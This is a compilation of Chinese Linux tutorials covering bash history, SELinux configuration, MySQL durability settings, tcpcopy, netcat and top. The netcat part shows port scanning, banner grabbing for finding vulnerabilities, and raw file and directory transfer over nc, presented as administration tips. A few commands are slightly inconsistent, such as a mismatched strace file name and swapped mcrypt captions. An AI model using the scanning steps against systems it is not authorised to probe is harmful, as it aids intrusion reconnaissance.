注意:这个功能只能用在当 HISTTIMEFORMAT 这个环境变量被设置之后,之后的那些新执行的 bash 命令才会被打上正确的时间戳。在此之前的所有命令,都将会显示成设置 HISTTIMEFORMAT 变量的时间。[感谢 NightOwl 读者补充]

2、使用 Ctrl+R 搜索历史

Ctrl+R 是我经常使用的一个快捷键。此快捷键让你对命令历史进行搜索,对于想要重复执行某个命令的时候非常有用。当找到命令后,通常再按回车键就可以执行该命令。如果想对找到的命令进行调整后再执行,则可以按一下左或右方向键。

# [Press Ctrl+R from the command prompt, which will display the reverse-i-search prompt]
(reverse-i-search)`red‘: cat /etc/redhat-release
[Note: Press enter when you see your command, which will execute the command from the history]
# cat /etc/redhat-release
Fedora release 9 (Sulphur)

3、快速重复执行上一条命令

有 4 种方法可以重复执行上一条命令:

  1. 使用上方向键,并回车执行。
  2. 按 !! 并回车执行。
  3. 输入 !-1 并回车执行。
  4. 按 Ctrl+P 并回车执行。

4、从命令历史中执行一个指定的命令

在下面的例子中,如果你想重复执行第 4 条命令,那么可以执行 !4:

# history | more
1  service network restart
2  exit
3  id
4  cat /etc/redhat-release
# !4
cat /etc/redhat-release
Fedora release 9 (Sulphur)

5、通过指定关键字来执行以前的命令

在下面的例子,输入 !ps 并回车,将执行以 ps 打头的命令:

# !ps
ps aux | grep yp
root     16947  0.0  0.1  36516  1264 ?        Sl   13:10   0:00 ypbind
root     17503  0.0  0.0   4124   740 pts/0    S+   19:19   0:00 grep yp

6、使用 HISTSIZE 控制历史命令记录的总行数

将下面两行内容追加到 .bash_profile 文件并重新登录 bash shell,命令历史的记录数将变成 450 条:

# vi ~/.bash_profile
HISTSIZE=450
HISTFILESIZE=450

7、使用 HISTFILE 更改历史文件名称

默认情况下,命令历史存储在 ~/.bashhistory 文件中。添加下列内容到 .bashprofile 文件并重新登录 bash shell,将使用 .commandline_warrior 来存储命令历史:

# vi ~/.bash_profile
HISTFILE=/root/.commandline_warrior

8、使用 HISTCONTROL 从命令历史中剔除连续重复的条目

在下面的例子中,pwd 命令被连续执行了三次。执行 history 后你会看到三条重复的条目。要剔除这些重复的条目,你可以将 HISTCONTROL 设置为 ignoredups:

# pwd
# pwd
# pwd
# history | tail -4
44  pwd
45  pwd
46  pwd [Note that there are three pwd commands in history, after executing pwd 3 times as shown above]
47  history | tail -4
# export HISTCONTROL=ignoredups
# pwd
# pwd
# pwd
# history | tail -3
56  export HISTCONTROL=ignoredups
57  pwd [Note that there is only one pwd command in the history, even after executing pwd 3 times as shown above]
58  history | tail -4

Linux:SELinux 入门

几乎可以肯定每个人都听说过 SELinux (更准确的说,尝试关闭过),甚至某些过往的经验让您对 SELinux 产生了偏见。不过随着日益增长的 0-day 安全漏洞,或许现在是时候去了解下这个在 Linux 内核中已经有8年历史的强制性访问控制系统(MAC)了。

SELinux 与强制访问控制系统

SELinux 全称 Security Enhanced Linux (安全强化 Linux),是 MAC (Mandatory Access Control,强制访问控制系统)的一个实现,目的在于明确的指明某个进程可以访问哪些资源(文件、网络端口等)

强制访问控制系统的用途在于增强系统抵御 0-Day 攻击(利用尚未公开的漏洞实现的攻击行为)的能力。所以它不是网络防火墙或 ACL 的替代品,在用途上也不重复

举例来说,系统上的 Apache 被发现存在一个漏洞,使得某远程用户可以访问系统上的敏感文件(比如 /etc/passwd 来获得系统已存在用户),而修复该安全漏洞的 Apache 更新补丁尚未释出。此时 SELinux 可以起到弥补该漏洞的缓和方案。因为 /etc/passwd 不具有 Apache 的访问标签,所以 Apache 对于/etc/passwd 的访问会被 SELinux 阻止。

相比其他强制性访问控制系统,SELinux 有如下优势:

  • 控制策略是可查询而非程序不可见的。
  • 可以热更改策略而无需重启或者停止服务。
  • 可以从进程初始化、继承和程序执行三个方面通过策略进行控制。
  • 控制范围覆盖文件系统、目录、文件、文件启动描述符、端口、消息接口和网络接口

那么 SELinux 对于系统性能有什么样的影响呢?根据 Phoronix 在 2009 年使用 Fedora 11 所做的横向比较来看,开启 SELinux 仅在少数情况下导致系统性能约 5% 的降低

SELinux 是不是会十分影响一般桌面应用及程序开发呢?原先是,因为 SELinux 的策略主要针对服务器环境。但随着 SELinux 8年来的广泛应用,目前SELinux 策略在一般桌面及程序开发环境下依然可以同时满足安全性及便利性的要求。以刚刚发布的 Fedora 15 为例,笔者在搭建完整的娱乐(包含多款第三方原生 Linux 游戏及 Wine 游戏)及开发环境(Android SDK + Eclipse)过程中,只有 Wine 程序的首次运行时受到 SELinux 默认策略的阻拦,在图形化的“SELinux 故障排除程序”帮助下,点击一下按钮就解决了。

了解和配置 SELinux

1. 获取当前 SELinux 运行状态

getenforce

可能返回结果有三种:Enforcing、Permissive 和 Disabled。Disabled 代表 SELinux 被禁用,Permissive 代表仅记录安全警告但不阻止可疑行为,Enforcing 代表记录警告且阻止可疑行为。

目前常见发行版中,RHEL 和 Fedora 默认设置为 Enforcing,其余的如 openSUSE 等为 Permissive。

2. 改变 SELinux 运行状态

setenforce [ Enforcing | Permissive | 1 | 0 ]

该命令可以立刻改变 SELinux 运行状态,在 Enforcing 和 Permissive 之间切换,结果保持至关机。一个典型的用途是看看到底是不是 SELinux 导致某个服务或者程序无法运行。若是在 setenforce 0 之后服务或者程序依然无法运行,那么就可以肯定不是 SELinux 导致的。

若是想要永久变更系统 SELinux 运行环境,可以通过更改配置文件 /etc/sysconfig/selinux 实现。注意当从 Disabled 切换到 Permissive 或者 Enforcing 模式后需要重启计算机并为整个文件系统重新创建安全标签(touch /.autorelabel && reboot)。

3. SELinux 运行策略

配置文件 /etc/sysconfig/selinux 还包含了 SELinux 运行策略的信息,通过改变变量 SELINUXTYPE 的值实现,该值有两种可能:targeted 代表仅针对预制的几种网络服务和访问请求使用 SELinux 保护,strict 代表所有网络服务和访问请求都要经过 SELinux。

RHEL 和 Fedora 默认设置为 targeted,包含了对几乎所有常见网络服务的 SELinux 策略配置,已经默认安装并且可以无需修改直接使用。

若是想自己编辑 SELinux 策略,也提供了命令行下的策略编辑器 seedit 以及 Eclipse 下的编辑插件 eclipse-slide 。

4. coreutils 工具的 SELinux 模式

常见的属于 coreutils 的工具如 ps、ls 等等,可以通过增加 Z 选项的方式获知 SELinux 方面的信息。

如 ps auxZ | grep lldpad

system_u:system_r:initrc_t:s0 root 1000 8.9 0.0 3040 668 ? Ss 21:01 6:08 /usr/sbin/lldpad -d

如 ls -Z /usr/lib/xulrunner-2/libmozjs.so

-rwxr-xr-x. root root system_u:object_r:lib_t:s0 /usr/lib/xulrunner-2/libmozjs.so

以此类推,Z 选项可以应用在几乎全部 coreutils 工具里。

Apache SELinux 配置实例

1. 让 Apache 可以访问位于非默认目录下的网站文件

首先,用 semanage fcontext -l | grep ‘/var/www’ 获知默认 /var/www 目录的 SELinux 上下文:

/var/www(/.*)? all files system_u:object_r:httpd_sys_content_t:s0

从中可以看到 Apache 只能访问包含 httpd_sys_content_t 标签的文件。

假设希望 Apache 使用 /srv/www 作为网站文件目录,那么就需要给这个目录下的文件增加 httpd_sys_content_t 标签,分两步实现。

首先为 /srv/www 这个目录下的文件添加默认标签类型:semanage fcontext -a -t httpd_sys_content_t ‘/srv/www(/.*)?’ 然后用新的标签类型标注已有文件:restorecon -Rv /srv/www 之后 Apache 就可以使用该目录下的文件构建网站了。

其中 restorecon 在 SELinux 管理中很常见,起到恢复文件默认标签的作用。比如当从用户主目录下将某个文件复制到 Apache 网站目录下时,Apache 默认是无法访问,因为用户主目录的下的文件标签是 user_home_t。此时就需要 restorecon 将其恢复为可被 Apache 访问的 httpd_sys_content_t 类型:

restorecon -v /srv/www/foo.com/html/file.html

restorecon reset /srv/www/foo.com/html/file.html context unconfined_u:object_r:user_home_t:s0->system_u:object_r:httpd_sys_content_t:s0

2. 让 Apache 侦听非标准端口

默认情况下 Apache 只侦听 80 和 443 两个端口,若是直接指定其侦听 888 端口的话,会在 service httpd restart 的时候报错:

Starting httpd: (13)Permission denied: make_sock: could not bind to address [::]:888

(13)Permission denied: make_sock: could not bind to address 0.0.0.0:888

no listening sockets available, shutting down

Unable to open logs

这个时候,若是在桌面环境下 SELinux 故障排除工具应该已经弹出来报错了。若是在终端下,可以通过查看 /var/log/messages 日志然后用 sealert -l加编号的方式查看,或者直接使用 sealert -b 浏览。无论哪种方式,内容和以下会比较类似:

SELinux is preventing /usr/sbin/httpd from name_bind access on the tcp_socket port 888.

***** Plugin bind_ports (92.2 confidence) suggests *************************

If you want to allow /usr/sbin/httpd to bind to network port 888

Then you need to modify the port type.

Do

# semanage port -a -t PORT_TYPE -p tcp 888

`where PORT_TYPE is one of the following: ntop_port_t, http_cache_port_t, http_port_t.` 

***** Plugin catchall_boolean (7.83 confidence) suggests *******************

If you want to allow system to run with NIS

Then you must tell SELinux about this by enabling the ‘allow_ypbind’ boolean.

Do

setsebool -P allow_ypbind 1

***** Plugin catchall (1.41 confidence) suggests ***************************

If you believe that httpd should be allowed name_bind access on the port 888 tcp_socket by default.

Then you should report this as a bug.

You can generate a local policy module to allow this access.

Do

allow this access for now by executing:

# grep httpd /var/log/audit/audit.log | audit2allow -M mypol

# semodule -i mypol.pp

可以看出 SELinux 根据三种不同情况分别给出了对应的解决方法。在这里,第一种情况是我们想要的,于是按照其建议输入:

semanage port -a -t http_port_t -p tcp 888

之后再次启动 Apache 服务就不会有问题了。

这里又可以见到 semanage 这个 SELinux 管理配置工具。它第一个选项代表要更改的类型,然后紧跟所要进行操作。详细内容参考 Man 手册

3. 允许 Apache 访问创建私人网站

若是希望用户可以通过在 ~/public_html/ 放置文件的方式创建自己的个人网站的话,那么需要在 Apache 策略中允许该操作执行。使用:

setsebool httpd_enable_homedirs 1

setsebool 是用来切换由布尔值控制的 SELinux 策略的,当前布尔值策略的状态可以通过 getsebool 来获知。

默认情况下 setsebool 的设置只保留到下一次重启之前,若是想永久生效的话,需要添加 -P 参数,比如:

setsebool -P httpd_enable_homedirs 1

总结

希望通过这一个简短的教程,扫除您对 SELinux 的误解甚至恐惧,个人感觉它并不比 iptables 策略复杂。如果希望您的服务器能有效抵挡 0-day 攻击时,那么 SELinux 或许就是一个值得考虑的缓和方案。

致谢

本文大量参考自 Vincent Danen 发表在 TechRepublic 上的 SELinux 系列教程123。在此向 Vincent Danen 致敬。

VIA http://linuxtoy.org/archives/selinux-introduction.html 

Linux:编码规范集锦

  真的不知道我的第一篇真正的文章应该以什么为主题。我最终选择了编码规范。

编码规范是什么?

  简单说——编码规范是一种…规范。通过建立起一种通用的约定和模式,所有人都遵循,以此帮助打造健壮的软件。

https://dn-linuxcn.qbox.me/data/attachment/album/201304/08/013822re5sllrrl7cd5rrc.jpg

使用编码规范有什么好处?

  有很多好处,包括(不仅限于此):

  1. 保持编码风格,注释风格一致,应用设计模式一致
  2. 新程序员,通过熟悉你们的编码规范,可以更容易、更快速的掌握你们的程序基础库。
  3. 减少代码中bug出现的可能性,因为程序员遇到各种情况时有标准可以简单的遵循,有现成的参考。
  4. 防止利用晦涩难懂的语言功能创造不良代码。例如,C++是一种语言猛兽。有些程序员也许会使用诸如模板和异常等语言功能,尽管这些不是很深奥的语言用法,但仍能产生意想不到的性能问题。
  5. 遵循业界广泛采用的编码规范更容易获得辅助工具。
  6. 更容易生成文档。例如,如果项目中的每个人都按照Doxygen格式写注释,你可以轻易的让程序为你的代码生成文档。

  使用编码规范还有其它很多好处,在这里一一列出是不可能的。下面是一些被业界广泛采用的编码规范:

  1. 谷歌编码风格指导 – 包括针对各种语言的编码风格指导,比如C++,Python,ShellScript,Javascript等。我喜欢谷歌的风格指导的原因是,它给读者同时提供了这些编码风格建议的好的和不好的方面。所以请记住,这些编码规范并不是在任何场合都合适。
  2. 美国太空总署喷气推进实验室提供的一些编码规范指导,当然,他们是开发火箭和宇宙飞船的,所以,他们的指导并不是对所有人都合适,但还是非常有趣的。特别要提到,他们正在起草一个针对Java的编码规范。
  3. Linux内核编码风格 – 我很吃惊,他们使用8个空格的tab键缩进,要知道,这可是相当宽的缩进。
  4. Perl语言编码风格指导 – 它提供了Perl程序形式上的风格指导。我最近在网上遇到了各种关于它的争论,尽管我不喜欢Perl(它有它的缺陷),我仍然为它具有惊人多的文档而印象深刻。我开始相信它是一个高质量的语言。Perl提供了各种各样的工具来生成文档,比如perlcritic
  5. GNU编码规范 – 主要是格式上的规范,也包含一些关于编程错误预防和编程一致性上的最佳实践方法。

Linux:MYSQL数据丢失讨论

1.   概述

很多企业选择MySQL都会担心它的数据丢失问题,从而选择Oracle,但是其实并不十分清楚什么情况下,各种原因导致MySQL会丢失部分数据。本文不讨论Oracle和MySQL的优劣,仅仅关注MySQL丢失数据的几种情况。希望能够抛砖引玉,让各位MySQL大牛们梳理出MySQL最安全或者性价比合适的适合各种应用场景的方案。

2.   问题定义

一般我们希望把一系列的数据作为一个原子操作,这样的话,这一系列操作,要么提交,要么全部回滚掉。

当我们提交一个事务,数据库要么告诉我们事务提交成功了,要么告诉我们提交失败。

数据库为了效率等原因,数据只保存在内存中,没有真正的写入到磁盘上去。如果数据库响应为“提交成功”,但是由于数据库挂掉,操作系统,数据库主机等任何问题导致这次“提交成功”的事务对数据库的修改没有生效,那么我们认为这个事务的数据丢失了。这个对银行或者支付宝这种业务场景来说是不能接受的。所以,保证数据不丢失也是数据库选择的一个重要衡量指标

mysql的架构和普通的数据库架构最大的差异在于它使用插件式的存储引擎。数据的存取由存储引擎负责。要了解MySQL数据丢失的问题就需要从MySQL server层和InnoDB目前最流行的支持事务的存储引擎分别来分析了。

 

3.   INNODB事务数据丢失

首先,我们来看一下InnoDB事务数据丢失的情况。

 

3.1.  INNODB事务基本原理

InnoDB的事务提交需要写入undo log,redo log,以及真正的数据页。专业的介绍可以参考 丁奇 和 云华 的两篇文章。我们这里通俗一点简单介绍一下。

InnoDB跟Oracle非常类似,使用日志先行的策略,将数据的变更在内存中完成,并且将事务记录成redo,转换为顺序IO高效的提交事务。这里日志先行,也就是说,日志记录到数据库以后,对应的事务就可以返回给用户,表示事务完成。但是实际上,这个数据可能还只在内存中修改完成,并没有刷到磁盘上去,俗称“还没有落地”。内存是易失的,如果在数据“落地”之前,机器挂了,那么这部分数据就丢失了。而数据库怎么保证这些数据还是能够找回来列?否则,用户提交了一个事务,数据库响应请求并回应为事务“提交成功”,数据库重启以后,这部分修改数据的却回到了事务提交之前的状态。

 

3.2.  INNODB事务崩溃恢复基本原理

InnoDB和Oracle都是利用redo来保证数据一致性的。如果你有从数据库新建一直到数据库挂掉的所有redo,那么你可以将数据完完整整的重新build出来。但是这样的话,速度肯定很慢。所以一般每隔一段时间,数据库会做一个checkpoint的操作,做checkpoint的目的就是为了让在该时刻之前的所有数据都”落地”。这样的话,数据库挂了,内存中的数据丢了,不用从最原始的位置开始恢复,而只需要从最新的checkpoint来恢复。将已经提交的所有事务变更到具体的数据块中,将那些未提交的事务回滚掉。

 

3.3.  INNODB REDO日志

这样的话,保证事务的redo日志刷到磁盘就成了事务数据是否丢失的关键。而InnoDB为了保证日志的刷写的高效,使用了内存的log buffer,另外,由于InnoDB大部分情况下使用的是文件系统,(linux文件系统本身也是有buffer的)而不是直接使用物理块设备,这样的话就有两种丢失日志的可能性:日志保存在log_buffer中,机器挂了,对应的事务数据就丢失了;日志从log buffer刷到了linux文件系统的buffer,机器挂掉了,对应的事务数据就丢失了。当然,文件系统的缓存刷新到硬件设备,还有可能被raid卡的缓存,甚至是磁盘本身的缓存保留,而不是真正的写到磁盘介质上去了。这个就不在我们这次讨论的范围内了。

InnoDB的日志你还可以参考这篇 文章

 

3.4.  INNODB_FLUSH_LOG_AT_TRX_COMMIT

所以InnoDB有一个特别的参数用于设置这两个缓存的刷新: innodb_flush_log_at_trx_commit。

默认,innodb_flush_log_at_trx_commit=1,表示在每次事务提交的时候,都把log buffer刷到文件系统中去,并且调用文件系统的“flush”操作将缓存刷新到磁盘上去。这样的话,数据库对IO的要求就非常高了,如果底层的硬件提供的IOPS比较差,那么MySQL数据库的并发很快就会由于硬件IO的问题而无法提升。

为了提高效率,保证并发,牺牲一定的数据一致性。innodb_flush_log_at_trx_commit还可以设置为0和2。

innodb_flush_log_at_trx_commit=0时,每隔一秒把log buffer刷到文件系统中去,并且调用文件系统的“flush”操作将缓存刷新到磁盘上去。这样的话,可能丢失1秒的事务数据。

innodb_flush_log_at_trx_commit=2时,在每次事务提交的时候会把log buffer刷到文件系统中去,但是每隔一秒调用文件系统的“flush”操作将缓存刷新到磁盘上去。如果只是MySQL数据库挂掉了,由于文件系统没有问题,那么对应的事务数据并没有丢失。只有在数据库所在的主机操作系统损坏或者突然掉电的情况下,数据库的事务数据可能丢失1秒之类的事务数据。这样的好处就是,减少了事务数据丢失的概率,而对底层硬件的IO要求也没有那么高(log buffer写到文件系统中,一般只是从log buffer的内存转移的文件系统的内存缓存中,对底层IO没有压力)。MySQL 5.6.6以后,这个“1秒”的刷新还可以用innodb_flush_log_at_timeout 来控制刷新间隔。

在大部分应用环境中,应用对数据的一致性要求并没有那么高,所以很多MySQL DBA会设置innodb_flush_log_at_trx_commit=2,这样的话,数据库就存在丢失最多1秒的事务数据的风险。

引用 应元 的一个图如下:

  innodb_flush_log_at_commit

Linux:分布式TCP压力测试工具 tcpcopy

tcpcopy是一种应用请求复制(基于tcp的packets)工具,其应用领域较广,我们曾经应用于网易的广告投放系统,urs系统,nginx hmux协议开发等系统,避免了上线带来的很多问题。

总体说来,tcpcopy主要有如下功能:

1)分布式压力测试工具,利用在线数据,可以测试系统能够承受的压力大小(远比ab压力测试工具真实地多),也可以提前发现一些bug2)对于后端的短连接,请求丢失率非常低(1/10万),可以应用于热备份3)普通上线测试,可以发现新系统是否稳定,提前发现上线过程中会出现的诸多问题,让开发者有信心上线4)对比试验,同样请求,针对不同或不同版本程序,可以做性能对比等试验5)利用多种手段,构造无限在线压力,满足中小网站压力测试要求6)实战演习(架构师必备)

tcpcopy可以用于实时和离线回放领域,并且tcpcopy支持mysql协议的复制,开源一年以来,功能上越来越完善。

如果你对上线没有信心,如果你的单元测试不够充分,如果你对新系统不够有把握,如果你对未来的请求压力无法预测,tcpcopy可以帮助你解决上述难题。

项目地址: https://github.com/wangbin579/tcpcopy 

VIA http://www.oschina.net/p/tcpcopy

Linux:Linux Netcat 命令——网络工具中的瑞士军刀

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。

netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。

下面是一些使用netcat的例子.

[A(172.31.100.7) B(172.31.100.23)]

Linux netcat 命令实例:

1,端口扫描

端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。

$nc -z -v -n 172.31.100.7 21-25

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.

z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点)

v 参数指使用冗余选项(译者注:即详细输出)

n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

这个命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。

一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。

$ nc -v 172.31.100.7 21

netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。

2,Chat Server

假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个Chat服务器,一个预先确定好的端口,这样子他就可以联系到你了。

Server

$nc -l 1567

netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

Client

$nc 172.31.100.7 1567

不管你在机器B上键入什么都会出现在机器A上。

3,文件传输

大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端,以下,让A作为服务器,B为客户端。

Server

$nc -l 1567 < file.txt

Client

$nc -n 172.31.100.7 1567 > file.txt

这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt,那么当任何成功连接到该端口,netcat会发送file的文件内容。

在客户端我们重定向输出到file.txt,当B连接到A,A发送文件内容,B保存文件内容到file.txt.

没有必要创建文件源作为Server,我们也可以相反的方法使用。像下面的我们发送文件从B到A,但是服务器创建在A上,这次我们仅需要重定向netcat的输出并且重定向B的输入文件。

B作为Server

Server

$nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 < file.txt

4,目录传输

发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。

如果你想要通过网络传输一个目录从A到B。

Server

$tar -cvf – dir_name | nc -l 1567

Client

 

$nc -n 172.31.100.7 1567 | tar -xvf -

这里在A服务器上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。

在客户端我们下载该压缩包通过netcat 管道然后打开文件。

如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。

Server

 

$tar -cvf – dir_name| bzip2 -z | nc -l 1567

通过bzip2压缩

Client

 

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

使用bzip2解压

5. 加密你通过网络发送的数据

如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。

服务端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用mcrypt工具加密数据。

客户端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密数据。

以上两个命令会提示需要密码,确保两端使用相同的密码。

这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。

Linux:帮你学习Java语言的游戏

有人说,最好的学习方法就是游戏。来自旧金山加州大学的研发团队日前开发了一款编程游戏——在游戏的同时教会玩家如何使用 Java 语言。这款名为 CodeSpells 的游戏是由计算机学家 William Griswold 带领的大四学生团队开发的。游戏的主要受众为高中生。研发团队希望由此来开发学生们的创新力和想象力,让他们主动地去学习知识。

 

该作是一款第一人称游戏。玩家将扮演一名和矮人们生活在荒岛上的魔法师。因为矮人们失去了使用魔法的能力,所以作为魔法师的玩家将帮助矮人们完成魔法。这些咒语是以 Java 语言的形式呈现在玩家面前。玩家需要通过编写这些语句来完成魔法。在帮助矮人们的同时,玩家还能通过一些解密游戏来获得相应的成就,当然,同样是通过 Java 语言的编写。

游戏的测试交由40位毫无编程经验的10至12岁的小女孩完成。在之后一个小时的测试中,姑娘们似乎全都喜欢上了这款游戏,并试着按照自己的想法创造出许多新式的魔法。

Griswold 和他的团队打算在学校中继续测试他们的游戏,最终他们希望这款游戏能够免费向公众开放。一些游戏的介绍请参考下面的视频。

 

Linux:高效的使用 top

  对桌面用户来说,监视系统资源使用是一项重要的工作。通过这项工作,我们可以找到系统瓶颈所在,针对性的进行系统优化,识别内存泄露等。问题是,我们应该用什么软件,以及如果针对我们的需求使用它。

  在众多备选的监测工具中,多数人使用“top”(procps 包的一部分)。Top 提供了几乎可以说是所有的我们所需要的系统资源使用监测,就在这一个软件中。本文中的所有信息都是基于运行在 Linux 2.6.x 内核上的版本号为3.2.5的 procps 包。

  在这里,我们假定 procps 已经安装并运行在你的 Linux 系统中。这里无需你对 top 的使用经验,但如果你尝试去用一下,将更有利。

  下面是一些挑战:

A.交互还是批处理模式?

  默认情况下,Top 被调用时使用交互模式。在此模式下,Top 无限期运行,并可以通过按键重新定义 Top 的运行方式。但是,有时你需要对 Top 的输出进行后续处理,但这在此模式下难以实现。解决方法?使用批处理模式。

$ top -b

  你将获得类似下面的输出:

top - 15:22:45 up  4:19,  5 users,  load average: 0.00, 0.03, 0.00
Tasks:  60 total,   1 running,  59 sleeping,   0 stopped,   0 zombie
Cpu(s):  3.8% us,  2.9% sy,  0.0% ni, 89.6% id,  3.3% wa,  0.4% hi,  0.0% si
Mem:    515896k total,   495572k used,    20324k free,    13936k buffers
Swap:   909676k total,        4k used,   909672k free,   377608k cached
PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
  1 root      16   0  1544  476  404 S  0.0  0.1   0:01.35 init
  2 root      34  19     0    0    0 S  0.0  0.0   0:00.02 ksoftirqd/0
  3 root      10  -5     0    0    0 S  0.0  0.0   0:00.11 events/0

  哈,等等,它是不断重复运行的,同交互模式一样。不用担心,你可以使用 -n 限制重复数量。所以,如果你希望获得一次性结果,键入:

$ top -b -n 1

  这一模式的真正优势在于你可以很容易的与 at 或 cron 命令结合。它们的结合,使得 Top 可以在特定时间对资源使用状态进行快照。例如,使用 at ,我们可以设定 top 在一分钟之后运行。

$ cat ./test.at
TERM=linux top -b -n 1 >/tmp/top-report.txt
$ at -f ./test.at now+1minutes

  细心的读者可能会问“在创建新任务时,为什么我需要在调用 Top 之前设置环境变量 TERM?”。答案是,Top 运行时需要此变量,但“at”在定时调用时并不会保留它。同上面那样简单的设置可以确保 Top 正常运行。

B.如何监控制定进程?

  有时,我们只对几个进程感兴趣,可能只是全部进程中的4个或5个。例如,如果你想要监测进程标识(PID)为4360和4358的进程,你需要键入:

$ top -p 4360,4358

  或

$ top -p 4360 -p 4358

  看起来很简单,只需要使用 -p 列出所有需要的 PID,并使用逗号间隔或简单的多次使用 -p即可。 另一种可能是监测拥有特定用户标识(UID)的进程。应对此需求,你可以使用 -u 或 -U 选项。假设用户“johndoe”的 UID 为500,键入:

$ top -u johndoe

  OR

$ top -u 500

  或

$ top -U johndoe

  结论是,你既可以纯使用用户名,也可使用数字 UID。“-u,-U?这两者不同?”是的。同多数其它 GNU 工具一样,选项是大小写敏感的。-U 意味着 Top 将会搜索有效的、真实的、被保存的以及文件系统的 UID 进行匹配,而 -u 仅匹配有效的用户id。要知道,每一个 *nix 进程在运行时都是用有效用户标识(effective UID),而其中有些并不等同真实用户标识。多数情况是,对类似文件系统权限或操作系统功能这项的有效用户标识感兴趣的人将会检查它,而不是 UID。 不同于 -p 仅用于命令行选项,-U 和 -u 都可以在交互模式中使用。同你猜测的一样,键入‘U’或‘u’可以依据用户名过滤进程。同样的规则依然适用,‘u’为有效用户标识,‘U’为 真实/有效/保存/文件系统用户名。你将被要求键入用户名或数字 UID。

C.快熟还是缓慢更新?

  在回答这个问题之前,让我们先简单介绍一下,Top 是如何运行的。这里,Strace 能够帮助你:

$ strace -o /tmp/trace.txt top -b -n 1

  使用你偏爱的文本编辑器打开 /tmp/trace.txt。你怎么想?一次调用有太多的活要做了,反正我是这么想的。Top 在每次遍历中必做的工作之一就是打开很多文件,并解析其内容,可以看看次数:

$ grep open( /tmp/hasil.txt | wc -l

  举例而言,我的 Linux 中,这个数量是304.仔细观察就会发现,Top 遍历 /proc 文件夹,以收集进程信息。/proc 本身是一个虚拟文件系统,意味着它并非存在于真实硬盘之中,而是由 Linux 内核凭空创建,保存在内存中的。在文件夹中,如/proc/2097(2097为 PID),Linux 内核将与之关联的信息打印到此文件中,而这里就是 Top 的消息来源。

  同时试一下:

$ time top -b -n 1

  这样你就能了解到 Top 单轮工作有多快了。在我的系统中,大约为0.5-0.6秒。看“real”字段,不是“user”或“system”字段,因为“real”字段反应了 Top 工作需要的总时间。

  所以,有了这个认知之后,使用适度的更新间隔是明智的。基于文件系统访问内存也是需要时间的。经验法则是,对于多数用户来说,1到3秒的间隔就足够了。在命令行中使用-d,或在交互模式下按下“s”以设置。你可以使用类似2.5,4.1这样的小树。

  什么时候我们需要快于1秒的更新?

  • 时间段内需要更多的样本。应对这点要求,最好使用批处理模式,并将标准输出重定向到文件中,以便更好的分析。
  • 你并不在意 Top 消耗的额外CPU负荷。是的,虽然它很小,它依然需要负荷。如果你的 Linux 系统相对比较空闲,随意使用短间隔,如果不是,最好为重要的任务保留你的 CPU 时间。

  一个减少 Top 工作的办法是只监测特定的几个 PID。这样,Top 无需遍历 /proc 下所有的子文件夹。用户名过滤呢?并不会变得更好。用户名过滤会给Top带来额外工作量,因此将其与短间隔联合将会增加 CPU 负荷。

  当然,当你需要强制更新时,按下 Space 键,Top 将会刷新统计。

D.我们需要的字段

  默认时,Top 启动后会显示下面的任务属性:

字段 描述
PID : 进程 ID
USER : 有效用户 ID
PR : 动态优先值
NI : 良好值,也被称为基本优先级
VIRT : 任务虚拟大小。包括进程的可执行二进制文件大小,数据区大小以及所有已加载的共享库的大小。
RES : 目前任务内存消耗。存入交换分区的部分并不包含。
SHR : 一些内存区域可能由两个或多个任务分享,此字段反应这些共享区域。例如共享库以及 Sysv 共享内存。
S : 任务状态
%CPU : Top 屏幕更新时专用于运行任务的CPU 时间百分比。
%MEM : 任务当前内存消耗的百分比
TIME+ : 在任务启动后消耗的总CPU时间。”+” sign means it is displayed with hundreth of a second granularity. 默认时,TIME/TIME+ 不会计入已经关闭的任务子进程。
COMMAND : 显示程序名。

  不止这些。下面我介绍一些你可能会用到的列:

描述
nFLT (‘u’键)

进程启动以来重大页面错误(page fault)的个数。准确地说,页面错误是由于进程访问它的地址空间内不存在的页面引起的。“重大”的页面错误是指内核需要访问磁盘来使得该页面有效。相反,小型页面错误是指内核只需要在内存中分配页面而不用读磁盘。

